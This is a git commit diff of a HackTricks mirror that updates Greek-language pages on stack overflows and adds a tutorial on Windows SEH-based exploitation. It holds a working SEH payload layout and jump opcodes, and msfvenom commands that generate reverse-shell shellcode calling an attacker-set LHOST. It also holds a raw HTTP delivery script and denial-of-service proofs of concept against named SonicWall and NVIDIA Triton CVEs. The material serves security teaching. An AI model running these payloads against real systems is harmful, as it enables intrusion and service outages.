mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/authentication-credentials-uac-and-ef
This commit is contained in:
parent
650556e132
commit
c0555b9fd0
@ -779,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι το Stack Overflow
|
||||
## Τι είναι ένα Stack Overflow
|
||||
|
||||
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
|
||||
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
|
||||
Το κύριο πρόβλημα αυτής της υπεργραφής είναι ότι ο **saved instruction pointer (EIP/RIP)** και ο **saved base pointer (EBP/RBP)** που χρησιμοποιούνται για την επιστροφή στην προηγούμενη συνάρτηση **αποθηκεύονται στη stack**. Επομένως, ένας επιτιθέμενος θα μπορεί να τους υπεγράψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
|
||||
|
||||
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.
|
||||
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στη stack περισσότερα bytes απ' όσα έχουν δεσμευτεί για αυτήν**, επιτρέποντας έτσι την υπεργραφή άλλων τμημάτων της stack.
|
||||
|
||||
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
|
||||
Κάποιες κοινές συναρτήσεις ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read`** & **`memcpy`** που παίρνουν ένα **length argument**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το δεσμευμένο.
|
||||
|
||||
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
|
||||
```c
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Εύρεση των offsets των Stack Overflows
|
||||
### Εύρεση offset για Stack Overflows
|
||||
|
||||
Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι **η διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
|
||||
Ο πιο συνηθισμένος τρόπος για να εντοπίσετε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A` (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` επιχειρήθηκε να προσπελαστεί**.
|
||||
|
||||
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία.
|
||||
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow θα χρειαστεί να βρείτε τον offset μέχρι να είναι δυνατό να **overwrite the return address**, για αυτό συνήθως χρησιμοποιείται μια **De Bruijn sequence.** Η οποία, για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_, είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχόμενη υποακολουθία.
|
||||
|
||||
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύψουν.
|
||||
Με αυτόν τον τρόπο, αντί να χρειάζεται να υπολογίσετε χειροκίνητα ποιος offset απαιτείται για να ελέγξετε το EIP, μπορείτε να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε τον offset των bytes που κατέληξαν να την επικαλύψουν.
|
||||
|
||||
Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
|
||||
It's possible to use **pwntools** for this:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -48,16 +48,17 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Εκμετάλλευση Στοίβας Υπερχείλισης
|
||||
## Εκμετάλλευση Stack Overflows
|
||||
|
||||
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
|
||||
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου να ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
|
||||
Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να **overwrite** τιμές τοπικών μεταβλητών μέσα στο stack μέχρι να φτάσετε τους αποθηκευμένους **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
Ο πιο κοινός τρόπος κατάχρησης αυτού του τύπου ευπάθειας είναι με **τροποποίηση του return address** έτσι ώστε όταν η συνάρτηση τερματίσει το **control flow** να ανακατευθυνθεί όπου έχει οριστεί στον pointer από τον χρήστη.
|
||||
|
||||
Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
|
||||
Ωστόσο, σε άλλα σενάρια ίσως αρκεί απλώς η **overwriting some variables values in the stack** για την εκμετάλλευση (όπως σε εύκολες CTF προκλήσεις).
|
||||
|
||||
### Ret2win
|
||||
|
||||
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
|
||||
Σε αυτό το είδος CTF challenges, υπάρχει μια **function** μέσα στο binary που **never called** και την οποία **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται μόνο να βρείτε το **offset to overwrite the return address** και να **βρείτε τη διεύθυνση της function** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι disabled) έτσι ώστε όταν η ευπαθής function επιστρέψει, η κρυφή function θα κληθεί:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -65,23 +66,35 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να μεταπηδήσει στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
|
||||
Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στο stack και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να κάνει jump στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... τεχνικές
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Σε 32-bit Windows, ένα overflow μπορεί να overwrite το Structured Exception Handler (SEH) chain αντί για τη σωζόμενη return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte πεδίο nSEH για ένα σύντομο jump ώστε να pivot πίσω στο μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό pattern είναι ένα σύντομο jmp στο nSEH που καταλήγει σε ένα 5-byte near jmp τοποθετημένο λίγο πριν το nSEH για να κάνει jump εκατοντάδες bytes πίσω στην αρχή του payload.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακάμψετε την κύρια προστασία στην προηγούμενη τεχνική: **No executable stack (NX)**. Επίσης επιτρέπει την υλοποίηση πολλών άλλων τεχνικών (ret2lib, ret2syscall...) που θα οδηγήσουν στην εκτέλεση αυθαίρετων εντολών εκμεταλλευόμενες υπάρχουσες instructions στο binary:
|
||||
|
||||
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## Υπερχείλιση Σωρού
|
||||
## Heap Overflows
|
||||
|
||||
Ένα overflow δεν θα είναι πάντα στο stack — μπορεί επίσης να βρίσκεται στο **heap**, για παράδειγμα:
|
||||
|
||||
Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στον **σωρό** για παράδειγμα:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
@ -89,42 +102,43 @@ stack-shellcode/
|
||||
|
||||
## Τύποι προστασιών
|
||||
|
||||
Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο:
|
||||
Υπάρχουν διάφορες προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών — δείτε τις στο:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### Πραγματικό Παράδειγμα: CVE-2025-40596 (SonicWall SMA100)
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall.
|
||||
Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με `/__api__/`:
|
||||
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για parsing μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SonicWall’s SMA100 SSL-VPN.
|
||||
Η ευπαθής ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που ξεκινά με `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. `"v1"`).
|
||||
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο byte NUL**.
|
||||
3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και έχει μήκος **0x800 bytes**, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**.
|
||||
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. "v1").
|
||||
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει προσδιοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**.
|
||||
3. Επειδή το `endpoint` βρίσκεται στην **stack** και έχει μήκος **0x800 bytes**, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **saved return address**.
|
||||
|
||||
Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση **πριν από την αυθεντικοποίηση**:
|
||||
Ένα proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash **πριν την αυθεντικοποίηση**:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά μια **Denial-of-Service** πρωτοβουλία (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό:
|
||||
Ακόμα κι αν οι stack canaries τερματίζουν τη διεργασία, ο επιτιθέμενος εξακολουθεί να αποκτά μια δυνατότητα **Denial-of-Service** (και, με επιπλέον information leaks, ενδεχομένως εκτέλεση κώδικα). Το μάθημα είναι απλό:
|
||||
|
||||
* Πάντα να παρέχετε ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`).
|
||||
* Να ορίζετε πάντα ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`).
|
||||
* Προτιμήστε ασφαλέστερες εναλλακτικές όπως `snprintf`/`strncpy_s`.
|
||||
|
||||
### Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
Ο NVIDIA Triton Inference Server (≤ v25.06) περιείχε πολλαπλά **stack-based overflows** που ήταν προσβάσιμα μέσω του HTTP API του.
|
||||
Το ευάλωτο μοτίβο εμφανίστηκε επανειλημμένα στα `http_server.cc` και `sagemaker_server.cc`:
|
||||
Το NVIDIA Triton Inference Server (≤ v25.06) περιείχε πολλαπλά **stack-based overflows** προσβάσιμα μέσω της HTTP API.
|
||||
Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα στα `http_server.cc` και `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -134,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των εσωτερικών τμημάτων buffer** που συνθέτουν το τρέχον σώμα του HTTP request.
|
||||
2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω του `alloca()` – **χωρίς κανένα ανώτατο όριο**.
|
||||
3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα των 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα.
|
||||
1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των internal buffer segments** που συνθέτουν το τρέχον HTTP request body.
|
||||
2. Κάθε segment προκαλεί την κατανομή ενός `evbuffer_iovec` **16-byte** στο **stack** μέσω `alloca()` – **χωρίς κανένα άνω όριο**.
|
||||
3. Καταχρώμενος το **HTTP _chunked transfer-encoding_**, ένας client μπορεί να αναγκάσει το request να χωριστεί σε **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). Αυτό κάνει το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί το stack.
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
#### Απόδειξη Πρωτοτύπου (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -162,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Ένα αίτημα ~3 MB είναι αρκετό για να αντικαταστήσει τη σωσμένη διεύθυνση επιστροφής και να **καταρρεύσει** το daemon σε μια προεπιλεγμένη έκδοση.
|
||||
Ένα ~3 MB αίτημα είναι αρκετό για να υπεργράψει την αποθηκευμένη διεύθυνση επιστροφής και να **crash** το daemon σε ένα default build.
|
||||
|
||||
#### Patch & Mitigation
|
||||
Η έκδοση 25.07 αντικαθιστά την ανασφαλή κατανομή στοίβας με ένα **heap-backed `std::vector`** και διαχειρίζεται με κομψό τρόπο το `std::bad_alloc`:
|
||||
#### Επιδιόρθωση & Μετριασμός
|
||||
Η έκδοση 25.07 αντικαθιστά την ανασφαλή κατανομή στη στοίβα με ένα **heap-backed `std::vector`** και χειρίζεται ομαλά το `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -175,13 +189,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Μαθήματα που αποκομίστηκαν:
|
||||
* Ποτέ μην καλείτε `alloca()` με μεγέθη που ελέγχονται από τον επιτιθέμενο.
|
||||
* Οι κατακερματισμένες αιτήσεις μπορούν να αλλάξουν δραστικά το σχήμα των buffers στην πλευρά του διακομιστή.
|
||||
* Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από την είσοδο του πελάτη *πριν* τη χρησιμοποιήσετε σε κατανομές μνήμης.
|
||||
Διδάγματα:
|
||||
* Μην καλείτε ποτέ `alloca()` με μεγέθη που ελέγχονται από τον επιτιθέμενο.
|
||||
* Chunked requests μπορούν να αλλάξουν δραστικά το σχήμα των server-side buffers.
|
||||
* Επικυρώστε / περιορίστε κάθε τιμή που προκύπτει από client input *πριν* τη χρήση της σε memory allocations.
|
||||
|
||||
## Αναφορές
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation είναι μια κλασική x86 Windows τεχνική που καταχράται την Structured Exception Handler chain αποθηκευμένη στο stack. Όταν ένα stack buffer overflow υπεργράφει τα δύο 4-byte πεδία
|
||||
|
||||
- nSEH: pointer to the next SEH record, και
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
an attacker μπορεί να πάρει τον έλεγχο της εκτέλεσης με:
|
||||
|
||||
1) Setting SEH στην διεύθυνση ενός POP POP RET gadget σε ένα non-protected module, έτσι ώστε όταν dispatchαριστεί ένα exception το gadget να επιστρέψει σε attacker-controlled bytes, και
|
||||
2) Using nSEH για να ανακατευθύνει την εκτέλεση (συνήθως ένα short jump) πίσω στο μεγάλο overflowing buffer όπου βρίσκεται το shellcode.
|
||||
|
||||
Αυτή η τεχνική είναι ειδική για 32-bit processes (x86). Σε μοντέρνα συστήματα, προτίμησε ένα module χωρίς SafeSEH και ASLR για το gadget. Bad characters συχνά περιλαμβάνουν 0x00, 0x0a, 0x0d (NUL/CR/LF) λόγω C-strings και HTTP parsing.
|
||||
|
||||
---
|
||||
|
||||
## Εύρεση ακριβών offsets (nSEH / SEH)
|
||||
|
||||
- Crash the process και verify ότι η SEH chain έχει overwritten (π.χ. in x32dbg/x64dbg, check το SEH view).
|
||||
- Στείλε ένα cyclic pattern ως τα overflowing δεδομένα και υπολόγισε τα offsets των δύο dwords που καταλήγουν σε nSEH και SEH.
|
||||
|
||||
Παράδειγμα με peda/GEF/pwntools σε ένα 1000-byte POST body:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
Επικύρωσε τοποθετώντας δείκτες σε αυτές τις θέσεις (π.χ., nSEH=b"BB", SEH=b"CC"). Κράτησε το συνολικό μήκος σταθερό για να κάνεις το crash αναπαραγώγιμο.
|
||||
|
||||
---
|
||||
|
||||
## Επιλογή ενός POP POP RET (SEH gadget)
|
||||
|
||||
Χρειάζεσαι μια ακολουθία POP POP RET για να απο-διπλώσεις το SEH frame και να επιστρέψεις στα nSEH bytes σου. Βρες την σε ένα module χωρίς SafeSEH και ιδανικά χωρίς ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` στη συνέχεια `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` για να εμφανίσεις POP POP RET gadgets και την κατάσταση SafeSEH.
|
||||
|
||||
Επίλεξε μια διεύθυνση που δεν περιέχει badchars όταν γραφτεί little-endian (π.χ., `p32(0x004094D8)`). Προτίμησε gadgets μέσα στο vulnerable binary αν οι προστασίες το επιτρέπουν.
|
||||
|
||||
---
|
||||
|
||||
## Τεχνική jump-back (short + near jmp)
|
||||
|
||||
Το nSEH είναι μόνο 4 bytes, που χωράει το πολύ ένα 2-byte short jump (`EB xx`) συν padding. Αν πρέπει να πηδήξεις πίσω εκατοντάδες bytes για να φτάσεις στην αρχή του buffer σου, χρησιμοποίησε ένα 5-byte near jump τοποθετημένο ακριβώς πριν το nSEH και κάνε chain σε αυτό με ένα short jump από το nSEH.
|
||||
|
||||
Με nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Ιδέα διάταξης για ένα payload 1000-byte με nSEH στο offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Execution flow:
|
||||
- Παρουσιάζεται exception, ο dispatcher χρησιμοποιεί το overwritten SEH.
|
||||
- POP POP RET ξετυλίγεται στο nSEH μας.
|
||||
- nSEH εκτελεί `jmp short -8` προς το 5-byte near jump.
|
||||
- Near jump προσγειώνεται στην αρχή του buffer μας όπου βρίσκονται το NOP sled + shellcode.
|
||||
|
||||
---
|
||||
|
||||
## Κακοί χαρακτήρες
|
||||
|
||||
Δημιουργήστε μια πλήρη badchar string και συγκρίνετε τη stack memory μετά το crash, αφαιρώντας bytes που παραμορφώνονται από τον target parser. Για HTTP-based overflows, `\x00\x0a\x0d` σχεδόν πάντα εξαιρούνται.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Δημιουργία Shellcode (x86)
|
||||
|
||||
Χρησιμοποιήστε msfvenom με τα badchars σας. Ένα μικρό NOP sled βοηθά να αντέξει τη διακύμανση του σημείου προσγείωσης.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Εάν παράγεται on the fly, η μορφή hex είναι βολική για ενσωμάτωση και unhex σε Python:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Παράδοση μέσω HTTP (ακριβή CRLF + Content-Length)
|
||||
|
||||
Όταν ο ευάλωτος φορέας είναι το σώμα ενός αιτήματος HTTP, κατασκευάστε ένα raw request με ακριβή CRLFs και Content-Length ώστε ο server να διαβάσει ολόκληρο το υπερχειλίζον σώμα.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
